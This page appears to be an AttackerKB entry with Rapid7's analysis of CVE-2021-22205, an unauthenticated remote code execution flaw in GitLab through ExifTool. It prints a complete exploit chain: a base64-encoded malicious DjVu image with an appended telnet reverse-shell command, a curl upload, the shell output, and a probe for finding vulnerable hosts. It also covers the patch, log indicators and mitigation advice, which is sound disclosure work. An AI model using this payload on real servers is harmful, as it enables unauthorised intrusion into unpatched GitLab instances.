Very High
CVE-2021-22205
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-22205
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
CVE-2021-22205 was originally disclosed as an authenticated vulnerability. However, deeper inspection shows that the vulnerability can be exploited without authentication and is trivial to weaponize. For full analysis see the Rapid7 Analysis.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- GitLab
Products
- GitLab
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://us-cert.cisa.gov/ncas/alerts/aa22-279a)
- News Article or Blog (https://blog.netlab.360.com/fodcha-a-new-ddos-botnet/)
- Other: Most Exploited Vulnerabilities CISA Alert (https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-279a)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Miscellaneous
Additional Info
Technical Analysis
Description
On April 14, 2021, GitLab published a security release to address CVE-2021-22205, a critical remote code execution vulnerability in the service’s web interface. At the time, GitLab described the issue as an authenticated vulnerability that was the result of passing user-provided images to the service’s embedded version of ExifTool. A remote attacker could execute arbitrary commands as the git
user due to ExifTool’s mishandling of DjVu files, an issue that was later assigned CVE-2021-22204.
GitLab assigned this issue CVE-2021-22205 and provided a CVSSv3 score of 9.9. However, on September 21, 2021 GitLab revised the CVSSv3 score to 10.0. The increase in score was the result of changing the vulnerability from an authenticated issue to an unauthenticated issue. Despite the tiny move in CVSS score, a change from authenticated to unauthenticated has big implications for defenders.
There are multiple recently published public exploits for this vulnerability and it reportedly has been exploited in the wild since June or July of 2021. We expect exploitation to increase as details of the unauthenticated nature of this vulnerability become more widely understood.
Affected products
According to GitLab’s April 2021 advisory, CVE-2021-22205 affects all versions of both GitLab Enterprise Edition (EE) and GitLab Community Edition (CE) starting from 11.9. The vulnerability was patched in the following versions:
- 13.10.3
- 13.9.6
- 13.8.8
Rapid7 analysis
Attack Path & Exploit
The confusion around the privilege required to exploit this vulnerability is odd. Unauthenticated and remote users have been and still are able to reach execution of ExifTool via GitLab by design. Specifically HandleFileUploads
in uploads.go is called from a couple of PreAuthorizeHandler
contexts allowing the HandleFileUploads
logic, which calls down to rewrite.go
and exif.go
, to execute before authentication.
The fall-out of this design decision is interesting in that an attacker needs none of the following:
- Authentication
- A CSRF token
- A valid HTTP endpoint
As such, the following curl
command is sufficient to reach, and exploit, ExifTool:
curl -v -F 'file=@echo_vakzz.jpg' http://10.0.0.8/$(openssl rand -hex 8)
In the example above, I reference echo_vakzz.jpg
which is the original exploit provided by @wcbowling in their HackerOne disclosure to GitLab. The file is a DjVu image that tricks ExifTool into calling eval
on user provided text embedded in the image. Technically speaking, this is an entirely separate issue in ExifTool. @wcbowling provides an excellent explanation here.
But for the purpose of GitLab exploitation, now that we know how easy it is to reach ExifTool, it’s only important to know how to generate a payload. A very simple method was posted on the OSS-Security mailing list by Jakub Wilk back in May, but it is character-limiting. So here is a reverse shell that reaches out to 10.0.0.3:1270, made by building off of @wcbowling’s original exploit.
albinolobster@ubuntu:~$ echo -e "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=" | base64 -d > lol.jpg albinolobster@ubuntu:~$ echo -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF' >> lol.jpg albinolobster@ubuntu:~$ echo -n "fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==" | base64 -d >> lol.jpg
We can substitute the generated lol.jpg
into the curl command like so:
albinolobster@ubuntu:~/Downloads$ curl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8) * Trying 10.0.0.7... * Connected to 10.0.0.7 (10.0.0.7) port 80 (#0) > POST /e7c6305189bc5bd5 HTTP/1.1 > Host: 10.0.0.7 > User-Agent: curl/7.47.0 > Accept: */* > Content-Length: 912 > Expect: 100-continue > Content-Type: multipart/form-data; boundary=------------------------ae83551d0544c303 > < HTTP/1.1 100 Continue
The resulting reverse shell looks like the following:
albinolobster@ubuntu:~$ nc -lnvp 1270 Listening on [0.0.0.0] (family 0, port 1270) Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport 34836) whoami git id uid=998(git) gid=998(git) groups=998(git)
About the Patch
As noted earlier, GitLab did not make any changes to prevent unauthenticated and remote attackers from reaching ExifTool. However, they did add additional validation on the user provided image. Most notably, this commit added the function isTIFF
and isJPEG
to verify the payload is actually an image file. The user provided TIFF image gets a full decode whereas a JPEG gets passed to the Go http library’s DetectContentType function.
func isTIFF(r io.Reader) bool { _, err := tiff.Decode(r) if err == nil { return true } if _, unsupported := err.(tiff.UnsupportedError); unsupported { return true } return false } func isJPEG(r io.Reader) bool { // Only the first 512 bytes are used to sniff the content type. buf, err := ioutil.ReadAll(io.LimitReader(r, 512)) if err != nil { return false } return http.DetectContentType(buf) == "image/jpeg" }
Also, importantly, a patched version of ExifTool is now included with GitLab.
Exposure and Mitigation Guidance
To determine if you’ve been affected by this vulnerability, examine the gitlab-workhorse log. On Ubuntu that’s located in /var/log/syslog/gitlab/gitlab-workhorse/
. Here is example output that our reverse shell generated:
{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"01FKBH8HB3A5YR8S7PYYB5A8SN","error":"signal: killed","level":"info","msg":"exiftool command failed","stderr":"sh: 1: Trying: not found\nsh: 2: Connected: not found\nsh: 3: Escape: not found\nConnection closed by foreign host.\n","time":"2021-10-31T11:07:18-07:00"} {"correlation_id":"01FKBH8HB3A5YR8S7PYYB5A8SN","error":"error while removing EXIF","level":"error","method":"POST","msg":"","time":"2021-10-31T11:07:18-07:00","uri":"/e7c6305189bc5bd5"} {"content_type":"text/html; charset=utf-8","correlation_id":"01FKBH8HB3A5YR8S7PYYB5A8SN","duration_ms":7636442,"host":"10.0.0.7","level":"info","method":"POST","msg":"access","proto":"HTTP/1.1","referrer":"","remote_addr":"127.0.0.1:0","remote_ip":"127.0.0.1","route":"","status":422,"system":"http","time":"2021-10-31T11:07:18-07:00","ttfb_ms":7636436,"uri":"/e7c6305189bc5bd5","user_agent":"curl/7.47.0","written_bytes":2936}
Note that the patched version of GitLab will also have gitlab-workhorse logs on attempted exploitation attempts. They’ll look something like this:
{"correlation_id":"01FKC13E1EE91VWC0B9M16YF58","filename":"test.jpeg","imageType":1,"level":"info","msg":"invalid content type, not running exiftool","time":"2021-10-31T13:36:52-07:00"}
You can also find something like the following in /var/log/gitlab/nginx/gitlab_access.log
but since requests can be POSTed to arbitrary endpoints, it might not be very useful.
Finally, it’s possible to determine if a remote GitLab instance is vulnerable based on it’s
response to a POST request. For example:
albinolobster@ubuntu:~$ echo lollol > test.jpeg albinolobster@ubuntu:~$ curl -v -F 'file=**[@test](/contributors/test)**.jpeg' http://10.0.0.7/$(openssl rand -hex 8)
The unpatched version will respond with an HTTP 422 response and some text indicating “*The change you requested was rejected.*” The patched version of GitLab will respond with an HTTP 404 response and text indicating “*The page could not be found…*”.
GitLab users should upgrade to the latest version of GitLab as soon as possible. Ideally, GitLab should not be an internet facing service. If you need to access your GitLab from the internet, consider placing it behind a VPN.
Related Links
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: